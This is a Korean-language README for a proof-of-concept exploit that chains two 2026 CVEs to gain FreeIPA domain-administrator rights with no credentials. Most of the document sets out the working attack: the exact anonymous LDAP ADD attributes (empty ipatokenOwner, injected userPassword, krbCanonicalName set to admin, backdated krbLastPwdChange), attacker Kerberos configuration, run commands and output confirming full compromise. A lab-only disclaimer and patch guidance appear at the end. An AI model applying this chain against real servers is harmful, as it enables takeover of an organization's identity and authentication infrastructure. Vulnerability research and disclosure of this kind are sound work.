
CVE-2026-76578 및 CVE-2026-76560에 대한 개념 증명 익스플로잇으로, 익명 LDAP ADD와 389-ds SELFDN 우회를 연계하여 FreeIPA 도메인 관리자 권한을 획득합니다.
제품: FreeIPA 4.9.x – 4.13.3
심각도: 치명적 (CVSS 9.8)
수정됨: FreeIPA 4.13.4 / 389-ds-base 3.2.0-10.el10_2 (RHSA-2026:64785)
이 개념 증명(proof-of-concept)은 승인된 보안 연구 및 취약점 검증을 목적으로 격리된, 개인이 소유한 랩 환경 내에서만 개발되고 실행되었습니다.
이 스크립트를 사용하기 전에:
저자는 오용에 대해 어떠한 책임도 지지 않습니다. 이 코드는 방어적 연구 및 승인된 침투 테스트 전용으로 제공됩니다.
이식성에 관한 참고: 이 스크립트는 아래 테스트 환경 섹션에 나열된 특정 패키지 버전에 대해 검증되었습니다. 다른 OS 버전, 패치 수준 또는 비기본 FreeIPA 구성에서는 동작이 다를 수 있습니다. 프로덕션 대상을 판단하기 전에 항상 통제된 환경에서 결과를 독립적으로 검증하십시오.
| 매개변수 | 값 |
|---|---|
| OS | Fedora 44 (x86_64) |
| FreeIPA | freeipa-server-4.13.1-9.fc44 |
| 389-ds-base | 389-ds-base-3.2.0-15.fc44 |
| MIT Kerberos | krb5-libs-1.21.x |
| 렐름(Realm) | TEST.LOCAL |
| 도메인 | test.local |
| 서버 IP | 192.168.1.11 |
| 호스트명 | ipa-master.test.local |
| 공격 호스트 | Kali Linux (외부, 도메인 미가입) |
인증되지 않은 LDAP 클라이언트가 cn=otp 아래에 OTP 토큰 항목을 추가하고
FreeIPA 도메인 관리자 전체 권한을 획득할 수 있습니다. 두 가지 결함이 결합됩니다:
CVE-2026-76578 (FreeIPA) — OTP ADD ACI에 targetattr 제한이 없어,
익명 ADD가 모든 속성을 포함할 수 있습니다: krbPrincipalAux, krbCanonicalName,
userPassword, krbLastPwdChange 등.
CVE-2026-76560 (389-ds-base) — SELFDN 평가기가 "" (빈 문자열)을
익명 바인드 DN과 일치하는 것으로 처리하여, ipatokenOwner#SELFDN
소유권 검사를 우회합니다.
핵심 통찰 — 사전 캡처된 blob도, 마스터 키 접근도 필요하지 않습니다:
항목에 objectClass: inetOrgPerson + userPassword를 추가하면
389-DS ipapwd 플러그인이 트리거되어 서버 측에서 krbPrincipalKey를
자동 생성하고, 대상 렐름의 krbMKey로 암호화합니다. 공격자는 평문 비밀번호를
제공하고, 서버는 내부적으로 Kerberos 키를 도출합니다.
같은 ADD에서 krbLastPwdChange: 20200101000000Z (과거 날짜)를 설정하면,
kinit이 성공하기 전에 대화형 비밀번호 변경을 요구했을 krbMinPwdLife
정책을 우회합니다.
| CVE | 구성 요소 | 설명 |
|---|---|---|
| CVE-2026-76578 | FreeIPA | OTP ACI에 targetattr 부재 — 모든 속성이 익명 ADD를 통과 |
| CVE-2026-76560 | 389-ds-base | SELFDN 평가기가 ""을 익명 바인드 DN으로 허용 |
Anonymous LDAP ADD (port 389, zero credentials)
ipatokenOwner: "" ← CVE-2026-76560: SELFDN "" == anonymous DN
objectClass: inetOrgPerson ← enables userPassword attribute
userPassword: PwnedPass1! ← CVE-2026-76578: no targetattr restriction
krbCanonicalName: admin@REALM ← not in kerberos uniqueness plugin for cn=otp
krbLastPwdChange: 20200101 ← bypass krbMinPwdLife policy
↓
389-DS ipapwd: userPassword → krbPrincipalKey (server-side, target's krbMKey)
↓
kinit attacker@REALM → TGT: Default principal: admin@REALM
↓
GSSAPI bind → dn: uid=admin,cn=users,cn=accounts,…
↓
uid=admin ∈ cn=admins → full domain administrator
apt install python3-ldap krb5-user ldap-utils libsasl2-modules-gssapi-mit
/etc/hosts:
<target-ip> ipa-master.test.local
/etc/krb5.conf — Level 3에 canonicalize = true 필요:
[libdefaults]
default_realm = TEST.LOCAL
canonicalize = true
forwardable = true
rdns = false
[realms]
TEST.LOCAL = {
kdc = ipa-master.test.local
}
[domain_realm]
.test.local = TEST.LOCAL
test.local = TEST.LOCAL
python3 poc.py <target_ip> <ipa_hostname> <REALM>
# Test lab:
python3 poc.py 192.168.1.11 ipa-master.test.local TEST.LOCAL
# Other lab:
python3 poc.py 10.10.10.5 ipa.corp.local CORP.LOCAL
── TEST 1: Anonymous ADD — server-side krbPrincipalKey generation ───
[+] ADD succeeded: ipatokenuniqueid=pwn-...,cn=otp,dc=test,dc=local
[+] Server generated krbPrincipalKey from userPassword (ipapwd plugin)
[+] TGT obtained — LEVEL 1 CONFIRMED
Default principal: [email protected]
── TEST 2: GSSAPI LDAP bind ─────────────────────────────────────────
[+] GSSAPI bind succeeded: dn: ipatokenuniqueid=pwn-...,cn=otp,...
[+] LEVEL 2 CONFIRMED
── TEST 3: krbCanonicalName=admin collision ──────────────────────────
[+] ADD with [email protected] succeeded
[+] TGT obtained — ticket claims principal: [email protected]
[+] TGT cname is admin — LEVEL 3 CONFIRMED
[+] GSSAPI bind: dn: uid=admin,cn=users,cn=accounts,dc=test,dc=local
[+] uid=admin is member of cn=admins — real admin rights confirmed
════════════════════════════════════════════════════════════
CVE-2026-76578 — Result Summary
════════════════════════════════════════════════════════════
Level 1 — Server-side krbPrincipalKey + TGT [✓] CONFIRMED
Level 2 — GSSAPI LDAP / Kerberos auth [✓] CONFIRMED
Level 3 — Real admin group membership [✓] CONFIRMED
Full zero-credential compromise chain reproduced.
No pre-captured blob required.
════════════════════════════════════════════════════════════
krbPrincipalKey는 대상의 krbMKey (마스터 키)로 암호화됩니다.
마스터 키는 LDAP의 cn=REALM,cn=kerberos에 저장되며 Directory Manager만
읽을 수 있습니다 — 익명도, GSSAPI를 통한 uid=admin도 아닙니다.
마스터 키 없이 krbPrincipalKey를 직접 주입하는 것은 불가능합니다.
userPassword를 주입하면 키 생성을 서버의 ipapwd 플러그인에 위임하며,
이 플러그인은 krbMKey에 대한 내부 접근 권한을 가지고 암호화를 투명하게
수행합니다. ACI (CVE-2026-76578)는 targetattr 검사 없이 userPassword를
허용합니다.
kerberos 고유성 플러그인은 전체 suffix에 걸쳐 krbPrincipalName과
krbPrincipalAlias의 고유성을 강제하지만, krbCanonicalName에는
강제하지 않습니다. cn=otp에 krbCanonicalName: admin@REALM을 가진
새 항목은 실제 admin principal과 충돌하지 않습니다.
클라이언트에서 canonicalize = true로 설정하면, kinit attacker@REALM은
krbPrincipalName으로 항목을 검색하지만, KDC는
cname = krbCanonicalName = admin@REALM으로 TGT를 발급합니다. GSSAPI는
이를 실제 uid=admin DN으로 해석합니다 — 이는 이미 cn=admins의
정당한 구성원입니다. 그룹 수정은 수행되지 않습니다.
userPassword가 추가되면, ipapwd는 krbPasswordExpiration을 현재
(만료됨)로, krbLastPwdChange를 현재로 설정합니다. 기본
krbMinPwdLife = 3600s에서는 kinit이 TGT를 발급하기 전에 비밀번호 변경을
요구합니다.
원래 ADD에서 krbLastPwdChange: 20200101000000Z를 설정하면 플러그인 값을
6년 전으로 덮어써 최소 수명 검사를 충족시킵니다.
krbPasswordExpiration: 20990101000000Z는 만료 프롬프트를 방지합니다.
OTP ACI에 targetattr 제한이 없기 때문에 두 속성 모두 허용됩니다.
새 VM에 취약한 FreeIPA 인스턴스를 배포하려면:
# On Fedora 44 / RHEL 9-10 VM (needs root, 4GB RAM, 20GB disk)
bash setup_lab.sh [REALM] [DOMAIN] [HOSTNAME] [PASSWORD]
# Default:
bash setup_lab.sh TEST.LOCAL test.local ipa-master.test.local Secret123
dnf update freeipa-server # → 4.13.4
dnf update 389-ds-base # → 3.2.0-10.el10_2 (RHEL 10)
FreeIPA 4.13.4는 OTP ACI에 명시적 targetattr 허용 목록을 추가하여,
userPassword, krbPrincipalAux, krbPrincipalKey, krbCanonicalName의
익명 주입을 차단합니다.
389-ds-base 3.2.0-10.el10_2는 SELFDN 평가기를 수정하여 익명 바인드에 대해
""을 일치하는 DN으로 거부합니다.
두 수정 모두 독립적으로 필요합니다 — 어느 하나만으로는 공격 표면을 줄이지만 제거하지는 못합니다.
| 구성 요소 | 취약 | 수정됨 |
|---|
| FreeIPA | 4.9.x – 4.13.3 | 4.13.4 |
| 389-ds-base (RHEL 10) | < 3.2.0-10.el10_2 | 3.2.0-10.el10_2 (RHSA-2026:64785) |
| 389-ds-base (RHEL 9) | < 패치된 빌드 | 해당 권고 참조 |
| 389-ds-base (Fedora 44) | 3.2.0-15.fc44 | 테스트 시점에 패치되지 않음 |